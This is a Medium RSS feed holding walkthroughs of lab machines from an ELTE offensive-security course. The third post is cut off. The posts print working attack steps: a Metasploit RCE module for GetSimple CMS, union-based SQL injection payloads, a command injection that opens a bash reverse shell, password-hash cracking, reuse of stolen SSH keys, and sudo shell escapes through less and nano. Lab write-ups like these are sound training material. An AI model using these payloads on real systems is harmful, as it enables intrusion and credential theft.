<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yusif Yagubzade on Medium]]></title>
        <description><![CDATA[Stories by Yusif Yagubzade on Medium]]></description>
        <link>https://medium.com/@yagubzadeh21?source=rss-e00a72c6a6cb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*T55QVYVKN_sGmBedKcPPcA.png</url>
            <title>Stories by Yusif Yagubzade on Medium</title>
            <link>https://medium.com/@yagubzadeh21?source=rss-e00a72c6a6cb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 02:18:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@yagubzadeh21/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ELTE Offsec Task 2: Scramble]]></title>
            <link>https://osintteam.blog/elte-offsec-task-2-scramble-d2b71a215301?source=rss-e00a72c6a6cb------2</link>
            <guid isPermaLink="false">https://medium.com/p/d2b71a215301</guid>
            <category><![CDATA[ftp-enumeration]]></category>
            <category><![CDATA[password-cracking]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[web-enumeration]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <dc:creator><![CDATA[Yusif Yagubzade]]></dc:creator>
            <pubDate>Fri, 25 Sep 2026 07:52:39 GMT</pubDate>
            <atom:updated>2026-09-25T07:52:39.004Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome to the <strong>ELTE OffSec Series</strong>. In this series, I will walk you through machines prepared by the <strong>ELTE Faculty of Informatics</strong>, covering exploitation techniques and solution methods for those who are planning to start their first OffSec experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kCrCvqmcAsP2cLbs.png" /></figure><p>Today, we are diving into the <strong>Scramble</strong> machine the Second machine in this series where we will practice <strong>Usage of Metasploit Module</strong>, <strong>basic password hash cracking</strong>, and <strong>Privilege Escalation </strong>methods. I will solve the machine step by step and explain every stage of the process.</p><p>The goal of this article is to show <strong>how to apply exploitation methods and techniques in practice</strong>. I strongly encourage you to carefully Read each step and take notes along the way.</p><h4>Network Device discovery</h4><p>First step is identifying the Target machine’s Ip address by scanning the Local Subnet range with using <strong>Netdiscover </strong>tool</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# netdiscover -r Ip_range/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0s6OVmIJ8Kkr31sYehMo7w.png" /></figure><h4>Nmap Network Enumeration</h4><p>After identifying the target machine’s IP address, the next step is to scan for open ports and the services running on them.</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# nmap -Pn -sCV -p- -open TargetIP -oN Scramble.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AVd6fmjY4U8ZC3YX0tNklA.png" /></figure><p><strong>Nmap Results:</strong> The scan identified the following open ports:</p><p>●​ 22/tcp (HTTP): Apache httpd 2.4.63.<br>●​ 80/tcp (SSH): OpenSSH 9.9p1 Ubuntu.<br>●​ 21212/tcp (FTP): vsftpd 3.0.5.</p><p>When you look at the port closely, configuration is not a standard one for the ports 22and 80 <strong>the services are swapped. </strong>Thus we need to keep this in mind when we continue the following steps.</p><h4>FTP Enumeration (Anonymous Login)</h4><p>Since <strong>anonymous FTP</strong> was enabled, We can access to FTP session using username <strong>Anonymous</strong> for the password you use either <strong>anonymous</strong> or leave it blank.</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# ftp Target_IP Port_number</pre><p>In the FTP session you’ll see a files directory, which you will discover a <strong>note.txt</strong>file, use FTP build in <strong>mget</strong> command to <strong>download the file</strong> in you local system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3oWERipOWg6hRSlKJeOKFA.png" /></figure><p>when you check the content of the note.txt file, you will see its revealing the website development and server location under the <strong>/nancy_blog_cms/</strong> folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wl6bJc1Rn8QZp9SSUkj7ZQ.png" /></figure><h4>Directory Enumeration</h4><p>After Identifying the <strong>/nancy_blog_cms/</strong> path it is time for the directory enumeration. Before the using the scanning tools we specify the port of the website according to nmap result we see the <strong>HTTP is running on port 22.</strong></p><p>For the enumeration, the<a href="https://github.com/maurosoria/dirsearch"> D<strong>irsearch</strong></a><strong> </strong>tool was used with it own defaul wordlist. For the Alternative tools you can use <a href="https://github.com/epi052/feroxbuster"><strong>Feroxbuster</strong></a>, <a href="https://github.com/OJ/gobuster"><strong>gobuster</strong></a> or <a href="https://github.com/darksagae/dirbuster"><strong>dirbuster</strong></a><strong> </strong>the chose is your 👍</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# dirsearch -u http://Target_IP:22/nancy_blog_cms/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4KK1uqMWlACWfZZU1NPSZA.png" /></figure><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# dirsearch -u http://Target_IP:22/nancy_blog_cms/cms/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ECrHE8mDngEPZjdizI5NFQ.png" /></figure><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# dirsearch -u http://Target_IP:22/nancy_blog_cms/cms/admin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IU4v8zdeuRnSQiNd1gzvgA.png" /></figure><p>Result: The scan identified the following paths:</p><p>●​ /nancy_blog_cms/cms/ (Status: 301/200).<br>●​ /nancy_blog_cms/cms/admin/(Status: 301/200).<br>●​ /nancy_blog_cms/cms/admin/index.php/login (Status: 200).</p><h4>Web Discovery Metasploit Initial Access</h4><p>After Discovering the directories of the web interface now we are going to check for the Web exposures and vulnerabilities. Upon the result of the directory search we find <strong>/nancy_blog_cms/cms/admin/index.php/login </strong>when the request intercepted with Burpsuite, we discover the Version of the <strong>GetSimple CMS.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I8SCBsfw3ZqDbfo6Yn-DRA.png" /></figure><p>When the version Searched, we find Exploit in <a href="https://www.exploit-db.com/"><strong>Exploit Database</strong></a><strong> </strong>classified as <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-11231"><strong>CVE-2019–11231</strong></a><strong>. </strong>Which Going to allow us to use<strong> Unauthenticated Remote Code Execution.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y_1HJetpMQOsnHnG5gwiXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O_qGsF3Hxg9wZgEieGHAhQ.png" /></figure><p><a href="https://www.metasploit.com/"><strong>Metasploit</strong></a> is an open-source framework used by security professionals to identify, test, and exploit system vulnerabilities. It acts as a digital toolkit that automates complex hacking tasks for penetration testing and defense.</p><p><strong>Now Lets get the fun Part Using the exploitation with Metasploit </strong>🦾<strong>💀</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/0*2w1JK2Ujs6xkZpnN.gif" /></figure><p>For the usage of the tool is simple We already know which exploit going to use. Running the Metasploit you can use <strong>msfconsole</strong> command in <strong>kali linux </strong>and select the exploit module.</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# msfconsole -q<br>msf &gt; use exploit/multi/http/getsimplecms_unauth_code_exec<br>msf exploit(multi/http/getsimplecms_unauth_code_exec) &gt; show options</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5sQgUTgY7ldqpgRoGH9zCw.png" /></figure><pre>#Setting Up MSF Exploit for Attack Target<br>msf exploit(multi/http/getsimplecms_unauth_code_exec) &gt; set RHOST Target_IP<br>msf exploit(multi/http/getsimplecms_unauth_code_exec) &gt; set RPORT 22<br>msf exploit(multi/http/getsimplecms_unauth_code_exec) &gt; set TARGETURI /nancy_blog_cms/cms</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SMfIZHE7EB2kF9HtLvv7JQ.png" /></figure><p>Now everything is setup For the use this exploit you either use <strong>exploit</strong> or <strong>run</strong> commands. if the Exploit successful you will get <strong>MSF meterpreter ReverseShell.</strong></p><pre>#Run Exploit.<br>msf exploit(multi/http/getsimplecms_unauth_code_exec) &gt; exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WQFMS1ME7-2r08dSA0YyHA.png" /></figure><pre>#Meterpreter build in command usage.<br>meterpreter &gt; ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LcBTnpicIFxTscyfvqC26g.png" /></figure><pre>#Meterpreter access Target machine Shell.<br>meterpreter &gt; shell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d2rM02Z37oqGp83AxLM8WA.png" /></figure><h4>The User Pivoting Part 1: (SSH Private Key)</h4><p>Once inside of the <strong>www-data</strong> session. It is time elevate first level privileges.</p><p>when we go to the <strong>/home </strong>directory you will see 2 files have the same names, first file stores SSH sessions private Key, second file stores the user’s login information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NPxmsBhl48Q_J3ipyBxoew.png" /></figure><p>An SSH private key is half of a cryptographic key pair used to authenticate a user to a remote server without the need for a traditional password. In order to use the private key first we need to save key content to a file the give correct permission with <strong>chmod</strong> command. and using the SSH command to login user session but in our case we need to change the port to 80 instead of 22.</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# chmod 600 key-file<br>└─# ssh -i ssh-priv.key -oPubkeyAcceptedAlgorithms=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa bob@Target-IP -p 80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hlo-l_gIX1NNCTOatfyYrA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qGEZSH0FmPjnWXemQt5bPQ.png" /></figure><h4>The User Pivoting Part 2: (Password Cracking)</h4><p>Once inside of the Bob user’s session inside of the hidden files we find <strong>.bash_history</strong> file which stores all command previously use in terminal, when we check the file you see<strong> nancy user’s password hash file</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1VjkSoW3Ml38gGa6dFI8fg.png" /></figure><p><a href="https://github.com/openwall/john"><strong>John The Ripper</strong></a><strong> </strong>was used to crack the extracted hash. In this step, the extracted password hashes are cracked using the <a href="https://github.com/openwall/john"><strong>John The Ripper</strong></a>.<strong> </strong>tool<strong> </strong>but you can alternative to<a href="https://github.com/hashcat/hashcat"><strong>Hashcat</strong></a>. Since the hashing algorithm has already been identified as<strong> SHA2–256</strong>, The following command initiates a dictionary attack using the <a href="https://github.com/dw0rsec/rockyou.txt"><strong>Rockyou wordlist</strong></a><strong>.</strong></p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# john hash-nancy -- wordlist=/usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rosyWNsVbYkKamxuPCSJ9g.png" /></figure><p>After the Cracking the Nancy user’s password SSH was used to establishing Shell session using the user Credentials.</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# ssh -p 80 nancy@Target_IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0kshDu1nT3K_Sp36tfEGyw.png" /></figure><h4>Privilege Escalation</h4><p>After gaining access as <strong>nancy, </strong>when we check the user’s sudo privileges we see User can run /usr/bin/less command as root without needing additional Authentication</p><pre>nancy@scramble:~$ sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K1rCRwbT4pkSCdRLKgvv1w.png" /></figure><p><strong>Result:</strong> <strong>(ALL) /usr/bin/less</strong>. The user nancy can execute the tar command as root without a password show that with sudo permission <strong>less</strong> can execute shell as root source <a href="https://gtfobins.org/"><strong>GTFHobins</strong></a><strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DUDOCeL3kSlXsw-A6PSu0g.png" /></figure><pre>nancy@scramble:~$ sudo less /etc/hosts<br><br>#Run this command after you enter the Text editor<br>!/bin/bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*0KIQiCEZ8BkIV-ODlY2ZmQ.png" /></figure><p><strong>Now we are ROOT!</strong> I hope you Enjoyed it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*MjP_5WpWUoJ0nlwv.gif" /></figure><p>You’ll like to check the <strong>Next Article</strong> follow this <a href="https://medium.com/@yagubzadeh21/elte-offsec-task-3-reloaded-a412822e3454?sharedUserId=yagubzadeh21"><strong>Link</strong></a></p><p>“If you have any questions or comments, please do not hesitate to write. Have a good days”</p><p><a href="https://www.linkedin.com/in/yusif-yagubzadeh/"><strong>https://www.linkedin.com/in/yusif-yagubzadeh/</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d2b71a215301" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/elte-offsec-task-2-scramble-d2b71a215301">ELTE Offsec Task 2: Scramble</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ELTE Offsec Task 3: Reloaded]]></title>
            <link>https://osintteam.blog/elte-offsec-task-3-reloaded-a412822e3454?source=rss-e00a72c6a6cb------2</link>
            <guid isPermaLink="false">https://medium.com/p/a412822e3454</guid>
            <category><![CDATA[web-enumeration]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[manual-exploitation]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[command-injection]]></category>
            <dc:creator><![CDATA[Yusif Yagubzade]]></dc:creator>
            <pubDate>Wed, 23 Sep 2026 10:42:44 GMT</pubDate>
            <atom:updated>2026-09-25T07:47:01.605Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome to the <strong>ELTE OffSec Series</strong>. In this series, I will walk you through machines prepared by the <strong>ELTE Faculty of Informatics</strong>, covering exploitation techniques and solution methods for those who are planning to start their first OffSec experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_LivnYmgZq-ao4Fc.png" /></figure><p>Today, we are diving into the Reload machine the Third machine in this series where we will practice<strong> Manual SQL Injection</strong>, <strong>basic password hash cracking</strong>, and <strong>Privilege Escalation </strong>methods. I will solve the machine step by step and explain every stage of the process.</p><h4>Network Device discovery</h4><p>First step is identifying the Target machine’s Ip address by scanning the Local Subnet range with using <strong>Netdiscover </strong>tool. Checking for status of machine use <strong>ping command</strong> thus, you determine the machine is <strong>up or down</strong></p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# netdiscover -r Ip_range/24<br>└─# ping Target_IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yaR_Krc47AjnNqpapI2DGg.png" /></figure><h4>Nmap Network Enumeration</h4><p>After identifying the target machine’s IP address, the next step is to scan for open ports and the services running on them.</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# nmap -Pn -sCV -open -p- TargetIP -oN Reloaded.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*__GoHoLBI1gfbiWrrM9YiA.png" /></figure><p><strong>Nmap Results: </strong>The scan identified the following open ports:<br>●​ 21/tcp (FTP): vsftpd 3.0.3.<br>●​ 22/tcp (SSH): OpenSSH 7.2p2 Ubuntu.<br>●​ 80/tcp (HTTP): Apache httpd 2.4.18.</p><h4>Directory Enumeration</h4><p>For directory enumeration, the <a href="https://github.com/OJ/gobuster"><strong>gobuster</strong></a> tool was used with a comprehensive wordlist to discover hidden directories and files on the web server. For the Alternative tools you can use <a href="https://github.com/maurosoria/dirsearch"><strong>Dirsearch</strong></a>, <a href="https://github.com/epi052/feroxbuster"><strong>Feroxbuster</strong></a><strong> </strong>or <a href="https://github.com/darksagae/dirbuster"><strong>dirbuster</strong></a><strong> </strong>the chose is your 👍</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# gobuster dir -u http://Target_IP -w /usr/share/dirb/wordlists/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mFaVkWO1_hdn6MFuZAg8lw.png" /></figure><h4>FTP Enumeration (Anonymous Login)</h4><p>Since <strong>anonymous FTP</strong> was enabled, We can access to FTP session using username <strong>Anonymous</strong> for the password you use either <strong>anonymous</strong> or leave it blank.</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# ftp Target_IP Port_number</pre><p>In the FTP session you’ll see a files directory, which you will discover a <strong>robots.txt </strong>file, use FTP build in <strong>mget</strong> command to <strong>download the file</strong> in you local system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*Zq_ThQs1iES2c79Uv1ZtwQ.png" /></figure><p>when you check the content of the robot.txt file, you will see its revealing 2 hidden paths that you not see while directory enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bUuLljlkdhRJyh52VpjiIQ.png" /></figure><h4>Web Discovery</h4><p>In our Browser, we’re greeted with a Cyberpunk 2077-themed landing page. The aesthetic is impressive, but let’s look beyond the visuals to find our attack vectors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WkFdOR-qjiK0Lg_KvYP4RA.png" /></figure><p>When we intercept the Request to understand how the application communicates with the backend. After capturing the initial request, we notice something interesting in the response headers: The If-None-Match header in the request contains an ETag value: &quot;2d-5b671935d911f&quot;. This is being sent by the client to check if the resource has been modified. By removing the If-None-Match header from our request, we can force the server to send the full response instead of a 304 Not Modified status. This reveals the complete content of the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eg8C4ACn-c2YznAuhlBzGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1psHG3t-MwhfEcy_ilYEhg.png" /></figure><p>Accessing this path from robots.txt reveals a review board interface where users can leave feedback about Cyberpunk 2077.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3kCUBoMy8erlajb_B5r61w.png" /></figure><p>We also find an external-facing version at This displays a similar interface but appears to be read-only with directory listing enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6KhTMcmf5ujIpoHXH_L3qw.png" /></figure><h4>SQL Injection Classifying and Exploitation</h4><p>Clicking on Add your own opinion! takes us to a comment submission page at The form contains a simple text area prompting Give us your feedback when we use simple payload this verbose error message revealed the complete SQL query structure, indicating a potential SQL injection vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vFR21GaDjCgfOWsSUF2ipQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mk6TjlGcpfBvet0wagb0hA.png" /></figure><p>The View Comment functionality was identified as the primary attack vector. This endpoint accepts an id parameter via POST request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f20HedRqQiJzn4CNSIGroQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ru2G-Wlaiku3Vu2LYrAAyQ.png" /></figure><p>Request’s ID parameter show the type of going to be <strong>Union-based SQLi</strong> to check this we are going to use Order By query to determine the column count if the Application reacts to this payload then we can continue with following steps</p><pre>#Test Payload: id=4 ORDER BY 4 --<br>#Test Payload: id=4 ORDER BY 5 --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ps6yugX_U_U7IaY6oEAbQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HZUxRqq5guVrjX6tV50GVA.png" /></figure><p><strong>Result: </strong>Application react to the 5th thus, The server has<strong> Union-based SQLi</strong></p><p>After Classifying the SQLi it is time to Exploit and extration of the data, First we need to find which columns are writeable to determine this use following payload.</p><pre>#Detecting Writeable Columns<br>id =- 4 UNION SELECT 1,2,3,4 --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vEtdDR1FNoOynVn06cjh0g.png" /></figure><p><strong>Result: </strong>The server verbose 3,4,2 thus, this column can be modified and data can be extracted.</p><p>Once we have identified the writable columns, the next step is to extract data from the database. To start, we need to enumerate all the database names available on the system.</p><pre>#Query recieve all DB names from Server<br>id =-4 UNION SELECT null,schema_name,3,4 from information_schema.schemata --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZ7xOZahls4r3JzFn4AsoA.png" /></figure><pre>#Query for Extract Tables of the Given DB<br>id =-4 union select table_name,null from information_schema.tables where table_schema = &#39;DB-Name&#39;--+<br><br>#Query for Extract Columns of Given DB and Table<br>id =-4 union select null,column_name,null from information_schema.columns where table_schema = &#39;DB-name&#39; and table_name = &#39;Table-name&#39;--+</pre><p>After Discovering all the tables and columns of our database, it is time to extract all information from DB.</p><pre>#Query for extrating all information from Columns<br>id =- 3 union select null, primary_path, under_root, sitename FROM PR.sitemap -- +</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DESwxLNlIvL9RWApMuKnow.png" /></figure><p><strong>Result: </strong>After extracting the data from the columns we discover the Admin only control panel in the Web interface</p><h4>Command Injection and Initial Access</h4><p>After retrieving a hidden path from the database and navigating to it in the browser, we found a <strong>server status </strong>folder. This directory redirects to an administrative console that displays detailed server information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OyfZK9j-KtvVeAsmkcRB0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7SupjuRMvx_0z2wN66BEhg.png" /></figure><p>Intercepting the HTTP request in Burp Suite reveals a query parameter in the body; this entry point allows us to execute a command injection attack.</p><pre>#Test Payload: query=ip+a;whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YbXogTwJwoY7lnOhFo34sw.png" /></figure><pre>#Simple bash revshell (don&#39;t forget to URL encode)<br>ip a;/bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/Local_IP/Local_Port 0&gt;&amp;1&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xFtbRe_P1bEgXIR8aE5jig.png" /></figure><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# rlwrap nc -lvnp 443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5VlhqA7UCqe3Cegg-XCKug.png" /></figure><p>Now we have system shell session it is time to Elevate our Privileges 🦾💀</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*PaBW3j2rN7gctar9.gif" /></figure><h4>The User Pivoting Part 1: (SSH Private Key)</h4><p>Upon accessing Johnny’s home directory, you will find an RSA backup file that contains the user’s SSH private key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*AVcIf4Ffy1RrabMID6S-ZA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*zFDEqatO3vo9z134rCZO7A.png" /></figure><p>First, we need to assign the correct permissions to the RSA key with chmod. We can then execute the ssh command to gain access to the target user&#39;s shell.</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# chmod 600 key-file<br>└─# ssh -i rsa.key -oPubkeyAcceptedAlgorithms=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa johnny@Target-IP </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*40kyc_ncN89zHltuzYczqg.png" /></figure><h4>The User Pivoting Part 2 (Leaked Credentials and Hash cracking)</h4><p>Once inside of the user’s session inside of the hidden files we find <strong>.bash_history</strong> file which stores all command previously use in terminal, when we check the file you see<strong> V user’s password </strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pdklzNgV_09YkDqc_vBxOg.png" /></figure><p>By using the su command we enter the V user’s via its credential, Once we have established a session as the user V, a quick enumeration of the home directory reveals a file named shadow.backup. This is a backup of /etc/shadow, the file where Linux systems store all user password hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hNb_2D5m6LWfyehWQ8I3rA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j3w4-NEwtAj6UQRt8fpRmg.png" /></figure><p>With the hash in hand, we can now perform a dictionary attack using John the Ripper and the rockyou wordlist to recover the plaintext password.</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# john hash-jackie --wordlist=/usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qqMX2DDbVRrc79pgUSFWng.png" /></figure><h4>Privilege Escalation</h4><p>After gaining access as user when we check the user’s sudo privileges we see User can run program named tedit as root without needing additional Authentication</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*awr8Qc_pV97x2VihtHJxYQ.png" /></figure><p>When we check the program content we see it runs a python script and analyzing the code script use the nano command to edit san write files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IsFIIqtWRCYTufVis3j_Ow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pwa5JaaZSPReHBRX3WqqMA.png" /></figure><p>Now we know the script use nano we can check the Nano’s sudo privilege to elevate our privilege to root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_engm0_l1Oc3sLzmEDk8FA.png" /></figure><pre>jackie@reloaded:/home$ sudo /usr/bin/tedit filename</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*lm7M5gJt1BLFUWBzSRkq3g.png" /></figure><pre>#In nano session shell<br>^R^X reset;bash 1&gt;&amp;0 2&gt;&amp;0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*QLk08mo9-MuC_O3g98Z3uw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p0EfHQfPhTROsdjUFFNzXw.png" /></figure><p><strong>Now we are ROOT!</strong> and got the root flag. I hope you Enjoyed it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/0*IStiJ_cIaGVqSHby.gif" /></figure><p>“If you have any questions or comments, please do not hesitate to write. Have a good days”</p><p><a href="https://www.linkedin.com/in/yusif-yagubzadeh/"><strong>https://www.linkedin.com/in/yusif-yagubzadeh/</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a412822e3454" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/elte-offsec-task-3-reloaded-a412822e3454">ELTE Offsec Task 3: Reloaded</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ELTE Offsec Task 1: Neptune]]></title>
            <link>https://osintteam.blog/elte-offsec-task-1-neptune-fc2edb28acce?source=rss-e00a72c6a6cb------2</link>
            <guid isPermaLink="false">https://medium.com/p/fc2edb28acce</guid>
            <category><![CDATA[linux-priv-esc]]></category>
            <category><![CDATA[manual-exploitation]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[web-enumeration]]></category>
            <category><![CDATA[command-injection]]></category>
            <dc:creator><![CDATA[Yusif Yagubzade]]></dc:creator>
            <pubDate>Wed, 23 Sep 2026 10:33:30 GMT</pubDate>
            <atom:updated>2026-09-25T07:47:06.347Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome to the <strong>ELTE OffSec Series</strong>. In this series, I will walk you through machines prepared by the <strong>ELTE Faculty of Informatics</strong>, covering exploitation techniques and solution methods for those who are planning to start their first OffSec experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ri0N5XQrvhv6WYF9.png" /></figure><p>This series will consist of <strong>three parts</strong>, starting with this article. At the end of each article, I will attach links to the other two parts to make the series easy to follow.</p><p>Today, we are diving into the <strong>Neptune</strong> machine the first machine in this series where we will practice <strong>SQL injection</strong>, <strong>basic password hash cracking</strong>, and <strong>command injection techniques</strong>. I will solve the machine step by step and explain every stage of the process.</p><p>The goal of this article is to show <strong>how to apply exploitation methods and techniques in practice</strong>. I strongly encourage you to carefully follow each step and take notes along the way.</p><h4>Network Device discovery</h4><p>Netdiscover was used to discover the target machine’s IP address by scanning the local subnet range to identify all machines on the 